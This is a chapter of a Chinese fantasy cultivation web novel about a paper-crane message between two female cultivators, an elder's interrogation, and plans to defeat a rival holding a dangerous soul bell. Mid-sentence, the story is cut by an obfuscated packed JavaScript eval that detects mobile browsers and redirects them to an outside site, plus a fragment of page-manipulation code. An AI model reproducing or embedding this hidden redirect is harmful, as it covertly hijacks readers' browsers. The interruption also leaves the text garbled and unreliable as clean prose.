阴牢外已是月上中天。
乌压压树梢上覆着的薄雪也凝成了数不清的冰晶,烟雾般的月色流淌其间,分不清雪与月谁欲白。
忽而枝丫间隐有振翅声。
凝露足尖轻点,纵身而起,指尖捉住了一只向她扑扇翅膀飞来的雪白纸鹤,纸鹤落入她手便自动化为了莹莹辉光。
“归雪长老唤我速归,勿忧。
——徐弱水。”
辉光闪烁着消亡,留下疏冷而又遒劲有力的雪色字痕。
凝露颇感意外,她出来时天色已晚,心里明白弱水仙子不会等她,她们之间的交情说白了也就是萍水相逢一过客,没有期冀也就不会有失落。
只是没想到她竟会留下一个纸鹤表明去向。
这在魔道修士看来是不可思议的。
要是凝露以往的同门,一个个都恨不得把自己的行踪彻底隐藏起来,即便是身边人也不会轻易告诉,因为顺着灵痕追来的不仅仅是亲友,还有可能是冤魂不散的仇敌。
纸鹤留书一看就是仙道的术法。
凝露起了点促狭的心思,她琢磨了下这道术法的构造,生涩地用自己的灵力构造出了一只歪歪扭扭的纸鹤。
她看了看,不是很满意,又重新试了几遍。
很快一只流光溢彩的雪白纸鹤出现在了她的手中,然而她的灵力以煞气为主,无论她怎样催动,仙术都没办法成型。
凝露索性就用自己的煞气给纸鹤点了睛。
纸鹤跌跌撞撞地飞起,撞碎一地冰晶,循着半空中弱水残留的雪色灵痕追踪而去,很快就不见了踪影。
它所过之处皆留下了淡淡红痕。
凝露心想太引人注目了,难怪大部分正道修士在苍玄魔土都很容易吃亏,他们似乎没有隐匿行踪的意识。
魔修通常不会使用这种弊端明显的术法。不过认人倒是挺方便,所以才会在北三洲流行吧,要是弱水看见了自己用出的纸鹤留书,那一定很有意思。
也不知道她能不能认出自己呢。
凝露抬手抹去了纸鹤留下的灵痕,愉快地踏着满地残雪回到了寝殿,暖融融的光从窗棂里透露出来,等候着风雪夜归人。
*
归雪长老不喜风雪境。
她闭关修行的地方位于苦渡魔门南部的一处大型山谷,整座山谷被一圈浩浩汤汤的灵水脉环绕,水灵之气浓郁,常年生大雾。
看起来很唯美的样子。
实则遍布杀机,光是水中凶兽便是数不胜数,更别提无处不在的灰白大雾,与其说是雾倒不如说是挨挨挤挤的水中冤魂,有妖兽的,也有人修的,都是擅闯入谷,强行渡江的下场。
徐弱水从袖中甩出月尘绫,皎洁的白绫天女散花般落下,她踏绫渡江而过的瞬间,宛若不染尘埃的月下仙人,飘飘然乘风而去。
大雾也硬生生地退避开来,唯恐惊扰了天人,或者说没有一个冤魂敢轻易挑衅于她。
她成功渡过了江。
归雪长老却面色平平,一改之前对她颇为看重的模样,她负手立于高空,身上威压重重,神色难以揣测。
徐弱水心知果然。
归雪长老没有她表现出来的那样好说话,相反她一直在试探,表面上将自己纳入了她的羽翼,实则犹如落入老虎爪中的猎物,是生是死全在她的一念之间。
归雪沉声道:“你究竟是何人。”
她俯视着这所谓的新弟子,心想此人能不费吹灰之力渡江,身上必携有重宝。
仙道当真会放弃这样好的一个苗子?
她并未带徐弱水回山谷,而是压着她在山谷外来来回回地盘问,甚至已经动了搜魂的心思。
徐弱水亦不能抵抗,只全力护住自己的心神,她深知以目前自己显露出来的修为应无法抗住来自元婴修士的审问。
只能真真假假,方有蒙蔽之机。
于是她的说辞开始并未有任何的改变,在经历了几轮盘问后,她的脸上恰时露出了些许恍惚之色,口中说出的话语也轻微混乱了起来,大概只有一些重点是不变的。
至于渡江之事。
徐弱水思忖瞬息,毫不犹豫地取下了自己右手腕上的一只莲纹清玉镯,镯子脱离手腕的瞬间,一股极为阴寒的灵力顿时从她的身上爆发。
归雪长老大骇,迅速避开。
如此阴寒的灵力不像是来源于水灵之气的变化,而是来源于一股极为幽冷、不详的气息,仿佛连灵魂都能被之彻底抿灭。
徐弱水的唇色略微发白,清黑的瞳孔也蒙上了一层雾蒙蒙的白翳,墨发凌乱披散在身后竟有了些许病弱之态,唯有脊骨被裹在单薄的衣裳里从未有过弯折。
她轻声道:“如您所见,我生来便携有一缕源于鬼道的不详气息,仙门已是容不下我,只能来魔门寻求一线生机。”
归雪竭力维持自己面上的平静。
鬼道传承已失落千年。
这缕气息压根不是什么所谓的重宝,相反对徐弱水而言完全是一道顶级的催命符,甚至连她身边的人也讨不到好,人人惧而避之。
那手镯算是个不错的压制物,难怪一开始她会去仙门,只有传承已久的仙门尚有镇压封印之术,而魔道流传下来的诸如控魂、炼魂之类的秘术也是来源于鬼道失落之地。
归雪斟酌道:“你把手镯带上吧。”
她已然信了徐弱水的说法,待那股幽冷的气息消失后便解除了山谷的禁制,给她安排了一座灵气还算充裕的洞府。
临走前,她将徐弱水收为了记名弟子。
归雪长老其实颇为遗憾,世人都以为她极其宠爱自己的弟子,实际上那些人于她而言不过炉鼎,无论是修炼用还是采补用都不值一提,疼宠几分又有何妨。
不过徐弱水就另当别论了。
她的体质不适合做归雪修炼用的炉鼎,把她放出去又恐生出事端,倒不如放在自己眼皮子底下看着,便于掌控。
魔道修士确实不好相与。
徐弱水冷淡地抿着唇,待归雪长老彻底离去后才缓缓盘坐了下来,引动手镯的气息重新镇压自己体内暴动的异火。
灵魂被无尽烧灼又好似被瞬间冰封。
她闭上眼睛,极力忍耐着来自神魂深处一刻不停的痛苦。
为了让归雪取信于她,她只能强行唤醒沉睡在灵魂深处的寒魄冥火,但宗门长老也多次告诫她绝不能让它完全苏醒。
寒魄冥火以烧灼万物灵魂为使命,它也确实来源于失落的鬼道传承,可这世上早已没有可以完全掌控它的方法。
徐弱水却与它相伴相生。
或许是一刹那,或许是一刻钟,她垂下眼眸看见了自己颤抖发白的指尖,应该是痛的吧,如果忍耐也是一种痛苦。
就在这时,她察觉到了有东西撞到了她洞府外的禁制。
徐弱水将神识探了出去,发现是一只摔得东倒西歪的纸鹤,流光溢彩的翅膀在地里滚了一遭染上了尘,身上明显还有几个被划破刮烂的破损。
它明显很生气地飞了起来,“笃笃笃”敲门一样敲着门口的禁制。
徐弱水一顿,她在这里并没有会给她纸鹤留书的人,她的宗门也不可能隔着几个大洲传讯予她。
可她还是把它放了进来。
纸鹤倏然抬头,神气活现地飞到了她的手上,一双红玉似的小眼睛正愤怒地盯着她,然后狠狠啄了她一口。
这什么鬼地方,害它躲躲藏藏、一刻不敢停地飞这么远。
徐弱水再次辨认了它身上的气息,不是自己所熟悉之人,但这绕着她不断飞的样子倒是莫名的眼熟。
她心中隐隐有了猜测。
纸鹤振翅而飞,身形顷刻间散落成了满天的星光,如同烟花般绚烂的红色星点汇聚成了一句璀璨的话。
“下次记得不要轻易留下自己的灵痕哦,否则你还会被我追踪到的!”
后面没有署名。
徐弱水认真又看了一遍,发现还是有的,她留下了一道不起眼的利爪划痕,大概是用来表明威胁的。
原来是凝露姑娘啊。
徐弱水的眼眸也好似被那一瞬的花火点燃,唇边的笑意清浅,犹如幽昙夜绽,晃然一现。
昙花绽放的时候,连平静湖面都要为之动容,哪怕湖面上泛起的只是一圈微不足道的细小涟漪。
徐弱水已然看见了那道涟漪。
……
纸鹤化煞回归。
凝露这才得知“纸鹤留书”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716981|173763||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原来是流传于仙道年轻弟子之间的术法,常以此来显露自己与对方的亲近,留下的灵痕也常常被当做一种辨别身份的乐趣。
算不上正式的通讯手段。
徐弱水以往也没怎么用过,她只是觉得应该给凝露留个表明自己身份的东西,自然而然地想到了这个术法。
没有什么能比灵痕更能代表一个人了。
然而魔门追踪的术法极多,想来凝露姑娘的担忧也并非空穴来风,徐弱水还是秉着该有的谨慎将她的告诫记入了心底,让纸鹤帮忙带回了一句话。
“多谢凝露姑娘提醒,弱水记住了。”
纸鹤绘声绘色地模仿着说话人的语气,一字不漏地复述了出来,说完头还高高昂着,流露出骄傲的神气。
它还不愿意就此消散,不满地在凝露手心蹦来蹦去。
云观哑然失笑:“这是……纸鹤留书?”她没想到自己还能在凝露这里看到这样独具仙门特色的术法。
真是恍然如梦。
“还挺像你的,颇有意思。”云观点了点纸鹤,推了它一个趔趄。
纸鹤委屈地顺势倒了下去。
凝露轻咳了一声,连忙拍散纸鹤,收回了自己的煞气,她才不承认这种小东西竟然和自己相像呢。
云观笑而不语,转头去做自己的事了。
她不问凝露这仙门术法从何而来,也不问与纸鹤相关之事,只给凝露准备了大堆的疗伤丹药,防御法器,各种出其不意的暗器,甚至还有绝灵散之类的毒药。
然后她将周晟的底细扒了个底朝天,把他浑身上下的弱点都分析了出来,摆在了凝露的面前。
凝露目瞪口呆。
云观笑眯眯道:“咱们凝凝只有筑基初期,他一个筑基后期的不要脸来生死斗,总要给他一点敬意吧,这些暗器、毒药通通给他用上,再让他尝尝法器自爆的威力,弄他个半身不遂不成问题。”
凝露眼睛越来越亮。
“至于那镇魂铃……”云观敲了敲桌子,陷入沉思,“这倒是个颇为麻烦的神魂类法宝,得想个法子封它一瞬。”
否则神魂被控,就是生死一线。
“如果有反制类手段就好了,不仅能化险为夷,还可抢夺先机。”凝露托腮,指尖在骗来的玉简上划来划去,“譬如神魂类秘术,又或者……鬼道秘术。”
说完,她抬头眼巴巴地望着云观。
云观点了点她的额头,语气好笑:“凝凝,神魂类秘术你自己修的还不够多么,至于鬼道秘术,那可是连元婴真君都要为之疯狂的,况且要是有了鬼道秘术,还要那个破铃铛做甚么!”
再强大的神魂秘术也不能顷刻间令人飞灰湮灭,顶多重创修士的神魂,可鬼道秘术不仅可以,它甚至还能玩弄生死,颠倒轮回。
要知道苍玄界是没有投胎转世这一说的,无论是修士还是凡人,身死如灯灭,花开一瞬即是永恒。
前尘散尽。
来世花也不过相似一朵。
凝露很清楚这些修真界的常识,正如云观所言,她或许修炼资质不强,可神魂秘术方面,她的天赋却是一骑绝尘。
如果镇魂铃只是一件普通的神魂类法宝,那么它对她而言其实不过是锦上添花,可有可无。
可如果它不是呢。
镇魂铃在周晟手上籍籍无名,可在两百年以后,它的威名响彻了整个苍玄界——鲲鹏道,以血祭之,万灵浮散。
鬼道至宝——祭仙铃。
所以自从凝露亲眼见到了那一幕,强烈的直觉就告诉她必须阻止,周晟还不能死,或者说还不到他可以去死的时候,她不能让镇魂铃回归无主的状态。
尤其是萧阙寒已经看见了它。
凝露胸腔里的心扑通扑通地跳动,她想都没想就用花把周晟砸进了血池里,让他勉强捡了条狗命。
如今这条命是该还给她了吧。
凝露仰起头,笑着撒娇道:“秘术这东西不嫌多嘛,周晟那个铃铛我还是挺喜欢的,所以让他半身不遂可不够。”
她要周晟灰飞烟灭。
凝露不知道祭仙铃是如何解封的,不过没关系,玉简已经在她手里了,它未来的主人也将成为她的魔奴,那么祭仙铃也必须归属于她。